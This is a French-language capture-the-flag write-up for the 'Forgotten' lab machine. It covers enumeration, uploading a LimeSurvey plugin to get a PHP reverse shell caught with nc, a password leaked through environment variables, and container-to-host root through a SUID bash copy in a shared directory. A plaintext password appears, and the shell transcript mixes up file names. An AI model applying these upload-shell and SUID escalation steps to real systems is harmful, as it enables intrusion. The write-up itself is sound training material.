Forgotten

| OS | Difficulty | Target |
|---|---|---|
| Linux | EASY | 10.10.79.178 |
🔭 Enumeration
[Sep 13, 2024 - 16:02:10 (CEST)] exegol-Vulnlab /workspace # nmap -sC -sV 10.10.79.178Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-13 16:02 CESTNmap scan report for 10.10.79.178Host is up (0.016s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 eaf8f4c0ee7a89c52951e53d7a9cfda5 (ECDSA)|_ 256 d2fd046bee95dc652dfeeea85d1e8557 (ED25519)80/tcp open http Apache httpd 2.4.56|_http-server-header: Apache/2.4.56 (Debian)|_http-title: 403 ForbiddenService Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.39 secondsOn a donc un serveur Apache qui tourne (version 2.4.56), la page retourne un code 403 Forbidden.
[Sep 13, 2024 - 16:04:29 (CEST)] exegol-Vulnlab /workspace # gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://forgotten.vl/===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://forgotten.vl/[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/.htpasswd (Status: 403) [Size: 277]/.htaccess (Status: 403) [Size: 277]/server-status (Status: 403) [Size: 277]/survey (Status: 301) [Size: 313] [--> http://forgotten.vl/survey/]Progress: 20476 / 20477 (100.00%)===============================================================Finished===============================================================En se rendant sur la page /survey, nous devons configurer et installer “LimeSurvey”, nous ne pouvons pas créer directement de bases de données via cette page.
Création de la base de données en local avec le script suivant:
#!/bin/bash
# ConfigurationDB_NAME="test"DB_USER="root"DB_PASSWORD="root"BIND_ADDRESS="0.0.0.0"REMOTE_IP="%"
# Function to check the success of each operationcheck_success() { if [ $? -ne 0 ]; then echo "Error during: $1" exit 1 fi}
# Update the system and install MariaDB Serverecho "Updating the system and installing MariaDB Server..."sudo apt updatesudo apt install -y mariadb-servercheck_success "MariaDB Server installation"
# Configure MariaDB to listen on all network interfacesecho "Configuring MariaDB to listen on all network interfaces..."sudo sed -i "s/^bind-address.*/bind-address = $BIND_ADDRESS/" /etc/mysql/mariadb.conf.d/50-server.cnfcheck_success "Updating bind-address"
# Restart MariaDB service to apply changesecho "Restarting MariaDB service..."sudo systemctl restart mariadbcheck_success "MariaDB restart"
# Create the MariaDB database and userecho "Creating MariaDB database and user..."sudo mariadb -u root -e "CREATE DATABASE $DB_NAME;CREATE USER '$DB_USER'@'$REMOTE_IP' IDENTIFIED BY '$DB_PASSWORD';GRANT SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX ON $DB_NAME.* TO '$DB_USER'@'$REMOTE_IP';FLUSH PRIVILEGES;"check_success "Database and user creation"
# Optionally configure the firewall to allow traffic on port 3306echo "Configuring firewall to allow traffic on port 3306..."sudo ufw allow 3306/tcpcheck_success "Firewall configuration"
echo "Installation and configuration completed successfully!"Configuration du panel administrateur:

Connexion et direction le menu > plugins
J’ai créé un fichier config.xml pour pouvoir uploader un reverse shell php. Le tout dans une archive .zip
<?xml version="1.0" encoding="UTF-8"?><config> <metadata> <name>RevShell</name> <type>plugin</type> <creationDate>2024-09-13</creationDate> <lastUpdate>2024-09-13</lastUpdate> <author>Hip5kull</author> <authorUrl></authorUrl> <version>1.0.0</version> <license>GNU General Public License version 2 or later</license> <description><![CDATA[Author: Hip5kull]]></description> </metadata>
<compatibility> <version>6.3.7</version> </compatibility>
<updaters disabled="disabled"> </updaters></config>[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041J’essai ensuite d’obtenir un reverse shell en me rendant sur le lien du plugins:
http://forgotten.vl/survey/upload/plugins/RevShell/revshell.php
[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041Ncat: Version 7.93 ( https://nmap.org/ncat )Ncat: Listening on :::4041Ncat: Listening on 0.0.0.0:4041Ncat: Connection from 10.10.79.178.Ncat: Connection from 10.10.79.178:52002.Linux efaa6f5097ed 6.2.0-1012-aws #12~22.04.1-Ubuntu SMP Thu Sep 7 14:01:24 UTC 2023 x86_64 GNU/Linux 15:08:28 up 1:06, 0 users, load average: 0.01, 0.01, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)sh: 0: can't access tty; job control turned off$ whoamilimesvc$ ls -latotal 80drwxr-xr-x 1 root root 4096 Dec 2 2023 .drwxr-xr-x 1 root root 4096 Dec 2 2023 ..-rwxr-xr-x 1 root root 0 Dec 2 2023 .dockerenvdrwxr-xr-x 1 root root 4096 Dec 2 2023 bindrwxr-xr-x 2 root root 4096 Sep 29 2023 bootdrwxr-xr-x 5 root root 340 Sep 13 14:01 devdrwxr-xr-x 1 root root 4096 Dec 2 2023 etcdrwxr-xr-x 1 root root 4096 Dec 2 2023 homedrwxr-xr-x 1 root root 4096 Nov 21 2023 libdrwxr-xr-x 2 root root 4096 Nov 20 2023 lib64drwxr-xr-x 2 root root 4096 Nov 20 2023 mediadrwxr-xr-x 2 root root 4096 Nov 20 2023 mntdrwxr-xr-x 2 root root 4096 Nov 20 2023 optdr-xr-xr-x 170 root root 0 Sep 13 14:01 procdrwx------ 1 root root 4096 Dec 2 2023 rootdrwxr-xr-x 1 root root 4096 Nov 21 2023 rundrwxr-xr-x 1 root root 4096 Dec 2 2023 sbindrwxr-xr-x 2 root root 4096 Nov 20 2023 srvdr-xr-xr-x 13 root root 0 Sep 13 14:01 sysdrwxrwxrwt 1 root root 4096 Sep 13 15:02 tmpdrwxr-xr-x 1 root root 4096 Nov 20 2023 usrdrwxr-xr-x 1 root root 4096 Nov 21 2023 varEn listant, je m’aperçois que je suis dans un conteneur Docker.
$ envAPACHE_CONFDIR=/etc/apache2HOSTNAME=efaa6f5097edPHP_INI_DIR=/usr/local/etc/phpLIMESURVEY_ADMIN=limesvcSHLVL=0PHP_LDFLAGS=-Wl,-O1 -pieAPACHE_RUN_DIR=/var/run/apache2PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64PHP_VERSION=8.0.30APACHE_PID_FILE=/var/run/apache2/apache2.pidGPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 BFDDD28642824F8118EF77909B67A5C12229118F 2C16C765DBE54A088130F1BC4B9B5F600B55F3B4 39B641343D8C104B2B146DC3F9C39DC0B9698544PHP_ASC_URL=https://www.php.net/distributions/php-8.0.30.tar.xz.ascPHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64PHP_URL=https://www.php.net/distributions/php-8.0.30.tar.xzPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAPACHE_LOCK_DIR=/var/lock/apache2LANG=CAPACHE_RUN_GROUP=limesvcAPACHE_RUN_USER=limesvcAPACHE_LOG_DIR=/var/log/apache2LIMESURVEY_PASS=<retracted>PWD=/PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2cPHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9APACHE_ENVVARS=/etc/apache2/envvarsLe mot de passe du user limesvc est en clair dans les variables d’environnements. Voyons si on peut se connecter en ssh.
The authenticity of host 'forgotten.vl (10.10.79.178)' can't be established.ED25519 key fingerprint is SHA256:76WOYnkA/HQr1WUahG3haGn1tCJsT1RT2ev3WqT0LCI.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'forgotten.vl' (ED25519) to the list of known hosts.([email protected]) Password:Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1012-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
System information as of Fri Sep 13 15:11:36 UTC 2024
System load: 0.0 Processes: 116 Usage of /: 39.1% of 7.57GB Users logged in: 0 Memory usage: 21% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for ens5: 10.10.79.178
Expanded Security Maintenance for Applications is not enabled.
76 updates can be applied immediately.48 of these updates are standard security updates.To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.To check for new updates run: sudo apt update
Last login: Sat Dec 2 15:32:15 2023 from 10.10.1.254limesvc@ip-10-10-200-233:~$
limesvc@ip-10-10-200-233:~$ lsuser.txtlimesvc@ip-10-10-200-233:~$ cat user.txtQue faire maintenant ? limesvc ne peut rien faire de plus, je retourne sur le conteneur je ne vois rien avec le revshell que j’ai. Je regarde si je peux obtenir un autre shell:
$ script -q /dev/null -c bashlimesvc@efaa6f5097ed:/$ sudo susudo su
We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for limesvc: 5W5HN4K4GCXf9E
root@efaa6f5097ed:/# cd /rootcd /rootroot@efaa6f5097ed:~# lslsJe me place dans le dossier /var/www/html/survey et fais une copie de /bin/bash en le renommant ./skull
root@efaa6f5097ed:~# cd /var/www/html/surveycd /var/www/html/surveyroot@efaa6f5097ed:/var/www/html/survey# cp /bin/bash ./skullcp /bin/bash ./pwnedJ’attribue les droits de superutilisateur au binaire et retourne sur la connexion ssh de limesvc:
root@efaa6f5097ed:/var/www/html/survey# chmod u+s ./skullchmod u+s ./pwned
limesvc@ip-10-10-200-233:/$ cd opt/limesurvey/limesvc@ip-10-10-200-233:/opt/limesurvey$ lsadmin assets gulpfile.js installer locale node_modules plugins psalm-strict.xml skull SECURITY.md themes uploadapplication docs index.php LICENSE modules open-api-gen.php psalm-all.xml psalm.xml README.md setdebug.php tmp vendorlimesvc@ip-10-10-200-233:/opt/limesurvey$ ./skull -ppwned-5.1# whoamirootpwned-5.1# lsadmin assets gulpfile.js installer locale node_modules plugins psalm-strict.xml pwned SECURITY.md themes uploadapplication docs index.php LICENSE modules open-api-gen.php psalm-all.xml psalm.xml README.md setdebug.php tmp vendorpwned-5.1# cd /rootpwned-5.1# lsroot.txt snappwned-5.1# cat root.txtVL{<retracted>}